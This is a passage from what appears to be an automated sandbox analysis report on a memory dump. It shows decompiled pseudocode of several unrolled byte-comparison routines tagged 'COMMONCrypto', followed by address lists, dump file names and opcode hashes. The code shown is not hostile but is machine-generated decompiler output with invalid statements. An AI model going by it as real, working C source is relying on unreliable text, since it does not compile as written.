									_t241 = (0 | _t306 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L54;
								}
								_t241 = (0 | _t304 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L52;
							}
							_t310 = (_t195 & 0x000000ff) - ( *(_t287 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t327 - 0x11) & 0x000000ff) - ( *(_t287 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t327 - 0x10) & 0x000000ff) - ( *(_t287 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t241 = ( *(_t327 - 0xf) & 0x000000ff) - ( *(_t287 - 0xf) & 0x000000ff);
										if(_t241 != 0) {
											_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
										}
										goto L48;
									}
									_t241 = (0 | _t314 > 0x00000000) * 2 - 1;
									if(_t241 != 0) {
										goto L2;
									}
									goto L45;
								}
								_t241 = (0 | _t312 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L43;
							}
							_t241 = (0 | _t310 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L41;
						}
						_t316 = (_t194 & 0x000000ff) - ( *(_t287 - 0x16) & 0x000000ff);
						if(_t316 == 0) {
							L30:
							_t318 = ( *(_t327 - 0x15) & 0x000000ff) - ( *(_t287 - 0x15) & 0x000000ff);
							if(_t318 == 0) {
								L32:
								_t320 = ( *(_t327 - 0x14) & 0x000000ff) - ( *(_t287 - 0x14) & 0x000000ff);
								if(_t320 == 0) {
									L34:
									_t241 = ( *(_t327 - 0x13) & 0x000000ff) - ( *(_t287 - 0x13) & 0x000000ff);
									if(_t241 != 0) {
										_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
									}
									goto L37;
								}
								_t241 = (0 | _t320 > 0x00000000) * 2 - 1;
								if(_t241 != 0) {
									goto L2;
								}
								goto L34;
							}
							_t241 = (0 | _t318 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L32;
						}
						_t241 = (0 | _t316 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L30;
					}
					_t322 = (_t193 & 0x000000ff) - ( *(_t287 - 0x1a) & 0x000000ff);
					if(_t322 == 0) {
						L19:
						_t324 = ( *(_t327 - 0x19) & 0x000000ff) - ( *(_t287 - 0x19) & 0x000000ff);
						if(_t324 == 0) {
							L21:
							_t326 = ( *(_t327 - 0x18) & 0x000000ff) - ( *(_t287 - 0x18) & 0x000000ff);
							if(_t326 == 0) {
								L23:
								_t241 = ( *(_t327 - 0x17) & 0x000000ff) - ( *(_t287 - 0x17) & 0x000000ff);
								if(_t241 != 0) {
									_t241 = (0 | _t241 > 0x00000000) * 2 - 1;
								}
								goto L26;
							}
							_t241 = (0 | _t326 > 0x00000000) * 2 - 1;
							if(_t241 != 0) {
								goto L2;
							}
							goto L23;
						}
						_t241 = (0 | _t324 > 0x00000000) * 2 - 1;
						if(_t241 != 0) {
							goto L2;
						}
						goto L21;
					}
					_t241 = (0 | _t322 > 0x00000000) * 2 - 1;
					if(_t241 != 0) {
						goto L2;
					}
					goto L19;
				} else {
					__edi = __al & 0x000000ff;
					__edi = (__al & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
					if(__edi == 0) {
						L8:
						__edi =  *(__esi - 0x1d) & 0x000000ff;
						__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
						if(__edi == 0) {
							L10:
							__edi =  *(__esi - 0x1c) & 0x000000ff;
							__edi = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
							if(__edi == 0) {
								L12:
								__ecx =  *(__esi - 0x1b) & 0x000000ff;
								__ecx = ( *(__esi - 0x1b) & 0x000000ff) - ( *(__edx - 0x1b) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L15;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								L2:
								_t192 = _t241;
								return _t192;
							}
							goto L12;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L2;
						}
						goto L10;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L2;
					}
					goto L8;
				}
			}

0x01370113
0x01370113
0x01370119
0x013701a0
0x013701a2
0x013701a4
0x00000000
0x00000000
0x013701aa
0x013701b0
0x01370237
0x01370239
0x0137023b
0x00000000
0x00000000
0x01370241
0x01370247
0x013702ce
0x013702d0
0x013702d2
0x00000000
0x00000000
0x013702d8
0x013702de
0x01370365
0x01370367
0x01370369
0x00000000
0x00000000
0x0137036f
0x01370375
0x013703fc
0x013703fe
0x01370400
0x00000000
0x00000000
0x0137040c
0x01370494
0x01370496
0x01370498
0x00000000
0x00000000
0x0137049e
0x013704a4
0x0137052b
0x0137052d
0x0137052f
0x0137052f
0x00000000
0x0137052f
0x013704b1
0x013704b3
0x013704cb
0x013704d3
0x013704d5
0x013704ed
0x013704f5
0x013704f7
0x0137050f
0x01370517
0x01370519
0x01370522
0x01370522
0x00000000
0x01370519
0x01370500
0x01370509
0x00000000
0x00000000
0x00000000
0x01370509
0x013704de
0x013704e7
0x00000000
0x00000000
0x00000000
0x013704e7
0x013704bc
0x013704c5
0x00000000
0x00000000
0x00000000
0x013704c5
0x0137041a
0x0137041c
0x01370434
0x0137043c
0x0137043e
0x01370456
0x0137045e
0x01370460
0x01370478
0x01370480
0x01370482
0x0137048b
0x0137048b
0x00000000
0x01370482
0x01370469
0x01370472
0x00000000
0x00000000
0x00000000
0x01370472
0x01370447
0x01370450
0x00000000
0x00000000
0x00000000
0x01370450
0x01370425
0x0137042e
0x00000000
0x00000000
0x00000000
0x0137042e
0x01370382
0x01370384
0x0137039c
0x013703a4
0x013703a6
0x013703be
0x013703c6
0x013703c8
0x013703e0
0x013703e8
0x013703ea
0x013703f3
0x013703f3
0x00000000
0x013703ea
0x013703d1
0x013703da
0x00000000
0x00000000
0x00000000
0x013703da
0x013703af
0x013703b8
0x00000000
0x00000000
0x00000000
0x013703b8
0x0137038d
0x01370396
0x00000000
0x00000000
0x00000000
0x01370396
0x013702eb
0x013702ed
0x01370305
0x0137030d
0x0137030f
0x01370327
0x0137032f
0x01370331
0x01370349
0x01370351
0x01370353
0x0137035c
0x0137035c
0x00000000
0x01370353
0x0137033a
0x01370343
0x00000000
0x00000000
0x00000000
0x01370343
0x01370318
0x01370321
0x00000000
0x00000000
0x00000000
0x01370321
0x013702f6
0x013702ff
0x00000000
0x00000000
0x00000000
0x013702ff
0x01370254
0x01370256
0x0137026e
0x01370276
0x01370278
0x01370290
0x01370298
0x0137029a
0x013702b2
0x013702ba
0x013702bc
0x013702c5
0x013702c5
0x00000000
0x013702bc
0x013702a3
0x013702ac
0x00000000
0x00000000
0x00000000
0x013702ac
0x01370281
0x0137028a
0x00000000
0x00000000
0x00000000
0x0137028a
0x0137025f
0x01370268
0x00000000
0x00000000
0x00000000
0x01370268
0x013701bd
0x013701bf
0x013701d7
0x013701df
0x013701e1
0x013701f9
0x01370201
0x01370203
0x0137021b
0x01370223
0x01370225
0x0137022e
0x0137022e
0x00000000
0x01370225
0x0137020c
0x01370215
0x00000000
0x00000000
0x00000000
0x01370215
0x013701ea
0x013701f3
0x00000000
0x00000000
0x00000000
0x013701f3
0x013701c8
0x013701d1
0x00000000
0x00000000
0x00000000
0x0137011f
0x0137011f
0x01370126
0x01370128
0x01370140
0x01370140
0x01370148
0x0137014a
0x01370162
0x01370162
0x0137016a
0x0137016c
0x01370184
0x01370184
0x0137018c
0x0137018e
0x01370197
0x01370197
0x00000000
0x0137018e
0x01370172
0x01370175
0x0137017e
0x0136fcd6
0x0136fcd6
0x01370ac7
0x01370ac7
0x00000000
0x0137017e
0x01370150
0x01370153
0x0137015c
0x00000000
0x00000000
0x00000000
0x0137015c
0x0137012e
0x01370131
0x0137013a
0x00000000
0x00000000
0x00000000
0x0137013a

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: f36f522bfb686dca99bdda040fd426950806d9269649aae8f8e2a4d00bcdf3dd
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 37C194722054930AEF2E463DD57413FBEA56E936B931A475DE8B2CB0C9FE24C124D620

Uniqueness

Uniqueness Score: -1.00%

Function 01370548, Relevance: .3, Instructions: 341
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01370548(void* __edx, void* __esi) {
				signed int _t197;
				signed char _t198;
				signed char _t199;
				signed char _t200;
				signed char _t202;
				signed char _t203;
				signed int _t246;
				void* _t294;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t333;
				void* _t335;
				void* _t336;

				_t336 = __esi;
				_t294 = __edx;
				if( *((intOrPtr*)(__esi - 0x1f)) ==  *((intOrPtr*)(__edx - 0x1f))) {
					_t246 = 0;
					L14:
					if(_t246 != 0) {
						goto L1;
					}
					_t198 =  *(_t336 - 0x1b);
					if(_t198 ==  *(_t294 - 0x1b)) {
						_t246 = 0;
						L25:
						if(_t246 != 0) {
							goto L1;
						}
						_t199 =  *(_t336 - 0x17);
						if(_t199 ==  *(_t294 - 0x17)) {
							_t246 = 0;
							L36:
							if(_t246 != 0) {
								goto L1;
							}
							_t200 =  *(_t336 - 0x13);
							if(_t200 ==  *(_t294 - 0x13)) {
								_t246 = 0;
								L47:
								if(_t246 != 0) {
									goto L1;
								}
								if( *(_t336 - 0xf) ==  *(_t294 - 0xf)) {
									_t246 = 0;
									L58:
									if(_t246 != 0) {
										goto L1;
									}
									_t202 =  *(_t336 - 0xb);
									if(_t202 ==  *(_t294 - 0xb)) {
										_t246 = 0;
										L69:
										if(_t246 != 0) {
											goto L1;
										}
										_t203 =  *(_t336 - 7);
										if(_t203 ==  *(_t294 - 7)) {
											_t246 = 0;
											L80:
											if(_t246 != 0) {
												goto L1;
											}
											_t297 = ( *(_t336 - 3) & 0x000000ff) - ( *(_t294 - 3) & 0x000000ff);
											if(_t297 == 0) {
												L83:
												_t299 = ( *(_t336 - 2) & 0x000000ff) - ( *(_t294 - 2) & 0x000000ff);
												if(_t299 == 0) {
													L3:
													_t246 = ( *(_t336 - 1) & 0x000000ff) - ( *(_t294 - 1) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L1;
												}
												_t246 = (0 | _t299 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												} else {
													goto L3;
												}
											}
											_t246 = (0 | _t297 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L83;
										}
										_t301 = (_t203 & 0x000000ff) - ( *(_t294 - 7) & 0x000000ff);
										if(_t301 == 0) {
											L73:
											_t303 = ( *(_t336 - 6) & 0x000000ff) - ( *(_t294 - 6) & 0x000000ff);
											if(_t303 == 0) {
												L75:
												_t305 = ( *(_t336 - 5) & 0x000000ff) - ( *(_t294 - 5) & 0x000000ff);
												if(_t305 == 0) {
													L77:
													_t246 = ( *(_t336 - 4) & 0x000000ff) - ( *(_t294 - 4) & 0x000000ff);
													if(_t246 != 0) {
														_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
													}
													goto L80;
												}
												_t246 = (0 | _t305 > 0x00000000) * 2 - 1;
												if(_t246 != 0) {
													goto L1;
												}
												goto L77;
											}
											_t246 = (0 | _t303 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L75;
										}
										_t246 = (0 | _t301 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L73;
									}
									_t307 = (_t202 & 0x000000ff) - ( *(_t294 - 0xb) & 0x000000ff);
									if(_t307 == 0) {
										L62:
										_t309 = ( *(_t336 - 0xa) & 0x000000ff) - ( *(_t294 - 0xa) & 0x000000ff);
										if(_t309 == 0) {
											L64:
											_t311 = ( *(_t336 - 9) & 0x000000ff) - ( *(_t294 - 9) & 0x000000ff);
											if(_t311 == 0) {
												L66:
												_t246 = ( *(_t336 - 8) & 0x000000ff) - ( *(_t294 - 8) & 0x000000ff);
												if(_t246 != 0) {
													_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
												}
												goto L69;
											}
											_t246 = (0 | _t311 > 0x00000000) * 2 - 1;
											if(_t246 != 0) {
												goto L1;
											}
											goto L66;
										}
										_t246 = (0 | _t309 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L64;
									}
									_t246 = (0 | _t307 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L62;
								}
								_t313 = ( *(_t336 - 0xf) & 0x000000ff) - ( *(_t294 - 0xf) & 0x000000ff);
								if(_t313 == 0) {
									L51:
									_t315 = ( *(_t336 - 0xe) & 0x000000ff) - ( *(_t294 - 0xe) & 0x000000ff);
									if(_t315 == 0) {
										L53:
										_t317 = ( *(_t336 - 0xd) & 0x000000ff) - ( *(_t294 - 0xd) & 0x000000ff);
										if(_t317 == 0) {
											L55:
											_t246 = ( *(_t336 - 0xc) & 0x000000ff) - ( *(_t294 - 0xc) & 0x000000ff);
											if(_t246 != 0) {
												_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
											}
											goto L58;
										}
										_t246 = (0 | _t317 > 0x00000000) * 2 - 1;
										if(_t246 != 0) {
											goto L1;
										}
										goto L55;
									}
									_t246 = (0 | _t315 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L53;
								}
								_t246 = (0 | _t313 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L51;
							}
							_t319 = (_t200 & 0x000000ff) - ( *(_t294 - 0x13) & 0x000000ff);
							if(_t319 == 0) {
								L40:
								_t321 = ( *(_t336 - 0x12) & 0x000000ff) - ( *(_t294 - 0x12) & 0x000000ff);
								if(_t321 == 0) {
									L42:
									_t323 = ( *(_t336 - 0x11) & 0x000000ff) - ( *(_t294 - 0x11) & 0x000000ff);
									if(_t323 == 0) {
										L44:
										_t246 = ( *(_t336 - 0x10) & 0x000000ff) - ( *(_t294 - 0x10) & 0x000000ff);
										if(_t246 != 0) {
											_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
										}
										goto L47;
									}
									_t246 = (0 | _t323 > 0x00000000) * 2 - 1;
									if(_t246 != 0) {
										goto L1;
									}
									goto L44;
								}
								_t246 = (0 | _t321 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L42;
							}
							_t246 = (0 | _t319 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L40;
						}
						_t325 = (_t199 & 0x000000ff) - ( *(_t294 - 0x17) & 0x000000ff);
						if(_t325 == 0) {
							L29:
							_t327 = ( *(_t336 - 0x16) & 0x000000ff) - ( *(_t294 - 0x16) & 0x000000ff);
							if(_t327 == 0) {
								L31:
								_t329 = ( *(_t336 - 0x15) & 0x000000ff) - ( *(_t294 - 0x15) & 0x000000ff);
								if(_t329 == 0) {
									L33:
									_t246 = ( *(_t336 - 0x14) & 0x000000ff) - ( *(_t294 - 0x14) & 0x000000ff);
									if(_t246 != 0) {
										_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
									}
									goto L36;
								}
								_t246 = (0 | _t329 > 0x00000000) * 2 - 1;
								if(_t246 != 0) {
									goto L1;
								}
								goto L33;
							}
							_t246 = (0 | _t327 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L31;
						}
						_t246 = (0 | _t325 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L29;
					}
					_t331 = (_t198 & 0x000000ff) - ( *(_t294 - 0x1b) & 0x000000ff);
					if(_t331 == 0) {
						L18:
						_t333 = ( *(_t336 - 0x1a) & 0x000000ff) - ( *(_t294 - 0x1a) & 0x000000ff);
						if(_t333 == 0) {
							L20:
							_t335 = ( *(_t336 - 0x19) & 0x000000ff) - ( *(_t294 - 0x19) & 0x000000ff);
							if(_t335 == 0) {
								L22:
								_t246 = ( *(_t336 - 0x18) & 0x000000ff) - ( *(_t294 - 0x18) & 0x000000ff);
								if(_t246 != 0) {
									_t246 = (0 | _t246 > 0x00000000) * 2 - 1;
								}
								goto L25;
							}
							_t246 = (0 | _t335 > 0x00000000) * 2 - 1;
							if(_t246 != 0) {
								goto L1;
							}
							goto L22;
						}
						_t246 = (0 | _t333 > 0x00000000) * 2 - 1;
						if(_t246 != 0) {
							goto L1;
						}
						goto L20;
					}
					_t246 = (0 | _t331 > 0x00000000) * 2 - 1;
					if(_t246 != 0) {
						goto L1;
					}
					goto L18;
				} else {
					__edi =  *(__esi - 0x1f) & 0x000000ff;
					__edi = ( *(__esi - 0x1f) & 0x000000ff) - ( *(__edx - 0x1f) & 0x000000ff);
					if(__edi == 0) {
						L7:
						__edi =  *(__esi - 0x1e) & 0x000000ff;
						__edi = ( *(__esi - 0x1e) & 0x000000ff) - ( *(__edx - 0x1e) & 0x000000ff);
						if(__edi == 0) {
							L9:
							__edi =  *(__esi - 0x1d) & 0x000000ff;
							__edi = ( *(__esi - 0x1d) & 0x000000ff) - ( *(__edx - 0x1d) & 0x000000ff);
							if(__edi == 0) {
								L11:
								__ecx =  *(__esi - 0x1c) & 0x000000ff;
								__ecx = ( *(__esi - 0x1c) & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
								if(__ecx != 0) {
									__ecx = (0 | __ecx > 0x00000000) * 2 - 1;
								}
								goto L14;
							}
							0 = 0 | __edi > 0x00000000;
							__ecx = (__edi > 0) * 2 != 1;
							if((__edi > 0) * 2 != 1) {
								goto L1;
							}
							goto L11;
						}
						0 = 0 | __edi > 0x00000000;
						__ecx = (__edi > 0) * 2 != 1;
						if((__edi > 0) * 2 != 1) {
							goto L1;
						}
						goto L9;
					}
					0 = 0 | __edi > 0x00000000;
					__ecx = (__edi > 0) * 2 != 1;
					if((__edi > 0) * 2 != 1) {
						goto L1;
					}
					goto L7;
				}
				L1:
				_t197 = _t246;
				return _t197;
			}

0x01370548
0x01370548
0x0137054e
0x013705d6
0x013705d8
0x013705da
0x00000000
0x00000000
0x013705e0
0x013705e6
0x0137066d
0x0137066f
0x01370671
0x00000000
0x00000000
0x01370677
0x0137067d
0x01370704
0x01370706
0x01370708
0x00000000
0x00000000
0x0137070e
0x01370714
0x0137079b
0x0137079d
0x0137079f
0x00000000
0x00000000
0x013707ab
0x01370833
0x01370835
0x01370837
0x00000000
0x00000000
0x0137083d
0x01370843
0x013708ca
0x013708cc
0x013708ce
0x00000000
0x00000000
0x013708d4
0x013708da
0x01370961
0x01370963
0x01370965
0x00000000
0x00000000
0x01370973
0x01370975
0x0137098d
0x01370995
0x01370997
0x013700f0
0x013700f8
0x013700fa
0x01370107
0x01370107
0x00000000
0x013700fa
0x013709a4
0x013700ea
0x00000000
0x00000000
0x00000000
0x00000000
0x013700ea
0x0137097e
0x01370987
0x00000000
0x00000000
0x00000000
0x01370987
0x013708e7
0x013708e9
0x01370901
0x01370909
0x0137090b
0x01370923
0x0137092b
0x0137092d
0x01370945
0x0137094d
0x0137094f
0x01370958
0x01370958
0x00000000
0x0137094f
0x01370936
0x0137093f
0x00000000
0x00000000
0x00000000
0x0137093f
0x01370914
0x0137091d
0x00000000
0x00000000
0x00000000
0x0137091d
0x013708f2
0x013708fb
0x00000000
0x00000000
0x00000000
0x013708fb
0x01370850
0x01370852
0x0137086a
0x01370872
0x01370874
0x0137088c
0x01370894
0x01370896
0x013708ae
0x013708b6
0x013708b8
0x013708c1
0x013708c1
0x00000000
0x013708b8
0x0137089f
0x013708a8
0x00000000
0x00000000
0x00000000
0x013708a8
0x0137087d
0x01370886
0x00000000
0x00000000
0x00000000
0x01370886
0x0137085b
0x01370864
0x00000000
0x00000000
0x00000000
0x01370864
0x013707b9
0x013707bb
0x013707d3
0x013707db
0x013707dd
0x013707f5
0x013707fd
0x013707ff
0x01370817
0x0137081f
0x01370821
0x0137082a
0x0137082a
0x00000000
0x01370821
0x01370808
0x01370811
0x00000000
0x00000000
0x00000000
0x01370811
0x013707e6
0x013707ef
0x00000000
0x00000000
0x00000000
0x013707ef
0x013707c4
0x013707cd
0x00000000
0x00000000
0x00000000
0x013707cd
0x01370721
0x01370723
0x0137073b
0x01370743
0x01370745
0x0137075d
0x01370765
0x01370767
0x0137077f
0x01370787
0x01370789
0x01370792
0x01370792
0x00000000
0x01370789
0x01370770
0x01370779
0x00000000
0x00000000
0x00000000
0x01370779
0x0137074e
0x01370757
0x00000000
0x00000000
0x00000000
0x01370757
0x0137072c
0x01370735
0x00000000
0x00000000
0x00000000
0x01370735
0x0137068a
0x0137068c
0x013706a4
0x013706ac
0x013706ae
0x013706c6
0x013706ce
0x013706d0
0x013706e8
0x013706f0
0x013706f2
0x013706fb
0x013706fb
0x00000000
0x013706f2
0x013706d9
0x013706e2
0x00000000
0x00000000
0x00000000
0x013706e2
0x013706b7
0x013706c0
0x00000000
0x00000000
0x00000000
0x013706c0
0x01370695
0x0137069e
0x00000000
0x00000000
0x00000000
0x0137069e
0x013705f3
0x013705f5
0x0137060d
0x01370615
0x01370617
0x0137062f
0x01370637
0x01370639
0x01370651
0x01370659
0x0137065b
0x01370664
0x01370664
0x00000000
0x0137065b
0x01370642
0x0137064b
0x00000000
0x00000000
0x00000000
0x0137064b
0x01370620
0x01370629
0x00000000
0x00000000
0x00000000
0x01370629
0x013705fe
0x01370607
0x00000000
0x00000000
0x00000000
0x01370554
0x01370558
0x0137055c
0x0137055e
0x01370576
0x01370576
0x0137057e
0x01370580
0x01370598
0x01370598
0x013705a0
0x013705a2
0x013705ba
0x013705ba
0x013705c2
0x013705c4
0x013705cd
0x013705cd
0x00000000
0x013705c4
0x013705a8
0x013705ab
0x013705b4
0x00000000
0x00000000
0x00000000
0x013705b4
0x01370586
0x01370589
0x01370592
0x00000000
0x00000000
0x00000000
0x01370592
0x01370564
0x01370567
0x01370570
0x00000000
0x00000000
0x00000000
0x01370570
0x0136fcd6
0x0136fcd6
0x01370ac7

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 03e3e894b73a07cfc77a15eea59215c7a002efab7e22b88de9edb8ad0e22062e
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 58C1A5722055930AEF2E463D857413EFEA56E936B531A475DE8B2CB0D9FE24C124D620

Uniqueness

Uniqueness Score: -1.00%

Function 0136FCDE, Relevance: .3, Instructions: 331
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0136FCDE(void* __edx, void* __esi) {
				signed int _t184;
				signed char _t185;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed int _t231;
				void* _t275;
				void* _t278;
				void* _t280;
				void* _t282;
				void* _t284;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t292;
				void* _t294;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t312;
				void* _t313;

				_t313 = __esi;
				_t275 = __edx;
				if( *((intOrPtr*)(__esi - 0x1d)) ==  *((intOrPtr*)(__edx - 0x1d))) {
					_t231 = 0;
					L11:
					if(_t231 != 0) {
						goto L1;
					}
					_t185 =  *(_t313 - 0x19);
					if(_t185 ==  *(_t275 - 0x19)) {
						_t231 = 0;
						L22:
						if(_t231 != 0) {
							goto L1;
						}
						_t186 =  *(_t313 - 0x15);
						if(_t186 ==  *(_t275 - 0x15)) {
							_t231 = 0;
							L33:
							if(_t231 != 0) {
								goto L1;
							}
							_t187 =  *(_t313 - 0x11);
							if(_t187 ==  *(_t275 - 0x11)) {
								_t231 = 0;
								L44:
								if(_t231 != 0) {
									goto L1;
								}
								_t188 =  *(_t313 - 0xd);
								if(_t188 ==  *(_t275 - 0xd)) {
									_t231 = 0;
									L55:
									if(_t231 != 0) {
										goto L1;
									}
									if( *(_t313 - 9) ==  *(_t275 - 9)) {
										_t231 = 0;
										L66:
										if(_t231 != 0) {
											goto L1;
										}
										_t190 =  *(_t313 - 5);
										if(_t190 ==  *(_t275 - 5)) {
											_t231 = 0;
											L77:
											if(_t231 == 0) {
												_t231 = ( *(_t313 - 1) & 0x000000ff) - ( *(_t275 - 1) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
											}
											goto L1;
										}
										_t278 = (_t190 & 0x000000ff) - ( *(_t275 - 5) & 0x000000ff);
										if(_t278 == 0) {
											L70:
											_t280 = ( *(_t313 - 4) & 0x000000ff) - ( *(_t275 - 4) & 0x000000ff);
											if(_t280 == 0) {
												L72:
												_t282 = ( *(_t313 - 3) & 0x000000ff) - ( *(_t275 - 3) & 0x000000ff);
												if(_t282 == 0) {
													L74:
													_t231 = ( *(_t313 - 2) & 0x000000ff) - ( *(_t275 - 2) & 0x000000ff);
													if(_t231 != 0) {
														_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
													}
													goto L77;
												}
												_t231 = (0 | _t282 > 0x00000000) * 2 - 1;
												if(_t231 != 0) {
													goto L1;
												}
												goto L74;
											}
											_t231 = (0 | _t280 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L72;
										}
										_t231 = (0 | _t278 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L70;
									}
									_t284 = ( *(_t313 - 9) & 0x000000ff) - ( *(_t275 - 9) & 0x000000ff);
									if(_t284 == 0) {
										L59:
										_t286 = ( *(_t313 - 8) & 0x000000ff) - ( *(_t275 - 8) & 0x000000ff);
										if(_t286 == 0) {
											L61:
											_t288 = ( *(_t313 - 7) & 0x000000ff) - ( *(_t275 - 7) & 0x000000ff);
											if(_t288 == 0) {
												L63:
												_t231 = ( *(_t313 - 6) & 0x000000ff) - ( *(_t275 - 6) & 0x000000ff);
												if(_t231 != 0) {
													_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
												}
												goto L66;
											}
											_t231 = (0 | _t288 > 0x00000000) * 2 - 1;
											if(_t231 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t231 = (0 | _t286 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t231 = (0 | _t284 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t290 = (_t188 & 0x000000ff) - ( *(_t275 - 0xd) & 0x000000ff);
								if(_t290 == 0) {
									L48:
									_t292 = ( *(_t313 - 0xc) & 0x000000ff) - ( *(_t275 - 0xc) & 0x000000ff);
									if(_t292 == 0) {
										L50:
										_t294 = ( *(_t313 - 0xb) & 0x000000ff) - ( *(_t275 - 0xb) & 0x000000ff);
										if(_t294 == 0) {
											L52:
											_t231 = ( *(_t313 - 0xa) & 0x000000ff) - ( *(_t275 - 0xa) & 0x000000ff);
											if(_t231 != 0) {
												_t231 = (0 | _t231 > 0x00000000) * 2 - 1;
											}
											goto L55;
										}
										_t231 = (0 | _t294 > 0x00000000) * 2 - 1;
										if(_t231 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t231 = (0 | _t292 > 0x00000000) * 2 - 1;
									if(_t231 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t231 = (0 | _t290 > 0x00000000) * 2 - 1;
								if(_t231 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t296 = (_t187 & 0x000000ff) - ( *(_t275 - 0x11) & 0x000000ff);
							if(_t296 == 0) {
								L37:
